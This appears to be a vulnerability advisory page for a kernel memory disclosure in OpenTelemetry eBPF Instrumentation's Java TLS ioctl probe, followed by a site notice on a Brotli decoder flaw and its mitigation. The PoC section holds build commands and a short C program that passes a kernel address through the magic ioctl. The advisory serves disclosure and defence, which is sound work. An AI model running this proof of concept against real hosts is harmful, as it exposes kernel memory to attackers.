CVE-2026-45683

EUVD-2026-33956 · Published May 18, 2026

OpenTelemetry eBPF Instrumentation: Java TLS ioctl kprobe allows kernel memory disclosure

Summary

The Java TLS ioctl probe reads user-controlled ioctl pointers with bpf_probe_read instead of bpf_probe_read_user. An instrumented local process can therefore point OBI at kernel memory and cause that memory to be copied into telemetry.

Details

The vulnerable path is in bpf/generictracer/java_tls.c. The kprobe hooks do_vfs_ioctl, filters on fd == 0 and the Java TLS magic command, and then treats the third ioctl argument as a structured buffer. It reads fields from that pointer using bpf_probe_read, including:

the operation byte from arg
connection metadata from arg + 1
the payload length from arg + 1 + sizeof(connection_info_t)

If len > 0, it computes buf = arg + 1 + sizeof(connection_info_t) + sizeof(u32) and passes that pointer into handle_buf_with_connection.

The next stage, bpf/generictracer/k_tracer_defs.h, uses bpf_probe_read(args->small_buf, MIN_HTTP2_SIZE, (void *)args->u_buf); on the supplied pointer and tail-calls deeper protocol logic. The HTTP protocol path then reads from u_buf and emits the bytes through bpf_ringbuf_output in bpf/generictracer/protocol_http.h.

Because the ioctl pointer originates in user space, the probe should be using bpf_probe_read_user with strict length validation. Using bpf_probe_read instead makes it possible for an instrumented process to supply a kernel pointer and exfiltrate kernel-resident bytes into telemetry.

PoC

A complete lab reproduction requires:

a vulnerable build of OBI with Java TLS instrumentation enabled
a host capable of loading the BPF program
a local process that issues the Java TLS magic ioctl with an attacker-controlled pointer

Suggested reproduction steps:

git checkout v0.0.0-rc.1+build
make build
sudo ./bin/obi

Then run a local helper that issues the matching ioctl command against fd=0 and supplies a crafted pointer.

// save as /tmp/ioctl_kernel_ptr.c
#include <stdio.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define JAVA_TLS_MAGIC 0x0b10b1

int main(void) {
  void *ptr = (void *)0xffff888000000000ULL;
  long rc = ioctl(0, JAVA_TLS_MAGIC, ptr);
  printf("ioctl rc=%ld\n", rc);
  return 0;
}

Compile and run:

cc -O2 -o /tmp/ioctl_kernel_ptr /tmp/ioctl_kernel_ptr.c
/tmp/ioctl_kernel_ptr

On a vulnerable system, if the supplied pointer references readable kernel memory and the bytes satisfy the expected Java TLS structure enough to pass the early checks, OBI can read from that address and emit the resulting bytes into telemetry. The remaining local prerequisite is a host session with sufficient BPF capability to load and inspect the probe; the compile side of the reproduction is already satisfied here.

Impact

This is a local kernel memory disclosure primitive reachable from unprivileged instrumented processes. It affects deployments that enable Java TLS support. Successful exploitation can expose kernel memory contents to the privileged OBI agent and then to downstream telemetry systems.

Technologies

Opentelemetry Ebpf InstrumentationGo.Opentelemetry.Io Obi

Weaknesses

CWE-127CWE-200

CVSS scores

v3.13.8CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

ReconImpact

Privilege Escalation

T1068Exploitation for Privilege Escalation

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticaltoday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Two situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with "Content-Encoding: br" at the reverse proxy or WAF. When the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag "paas: platform.sh" or "cdn: fastly" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Contact your edge provider about the status of the pathing (Fastly / Plateform.sh) Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.